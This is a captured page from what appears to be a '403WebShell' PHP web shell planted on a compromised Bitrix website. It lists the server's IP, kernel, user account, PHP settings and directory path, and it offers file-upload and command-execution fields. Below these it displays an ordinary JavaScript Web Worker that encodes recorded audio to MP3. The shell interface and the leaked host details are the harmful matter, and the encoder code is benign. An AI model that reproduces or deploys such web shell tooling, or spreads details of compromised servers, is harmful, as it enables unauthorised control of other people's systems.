%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.28.177
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/main/recorder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/main/recorder/encoder.js
var mp3Encoder;
var mp3Buffer = [];

onmessage = function(e)
{
	switch (e.data.action)
	{
		case 'init':
			init(e.data);
			break;
		case 'start':
			start();
			break;
		case 'record':
			record(e.data);
			break;
		case 'stop':
			stop();
			break;
	}
};

function init(data)
{
	var channels = data.channels || 1;
	var sampleRate = data.sampleRate || 44100;
	var bitRate = data.bitRate || 128;
	if(data.type === 'audio/mp3')
	{
		importScripts('/bitrix/js/main/recorder/lame.min.js');
		mp3Encoder = new lamejs.Mp3Encoder(channels, sampleRate, bitRate);
	}
}

function start()
{
	mp3Buffer = [];
}

function record(data)
{
	var buffer = floatTo16BitPCM(data.input);
	var chunk = mp3Encoder.encodeBuffer(buffer);
	mp3Buffer.push(chunk);
}

function stop()
{
	mp3Buffer.push(mp3Encoder.flush);
	var resultBlob = new Blob(mp3Buffer, {type: 'audio/mpeg'});
	postMessage({action: 'result', result: resultBlob});
	mp3Buffer = [];
}

//todo: add dithering
function floatTo16BitPCM(input)
{
	var length = input.length;
	var result = new Int16Array(length);
	var value;
	for(var i = 0; i < length; i++)
	{
		if(input[i] > 1)
			value = 1;
		else if(input[i] < -1)
			value = -1;
		else
			value = input[i];

		result[i] = (value > 0 ? value * 32767 : value * 32768);
	}
	return result;
}


Youez - 2016 - github.com/yon3zu
LinuXploit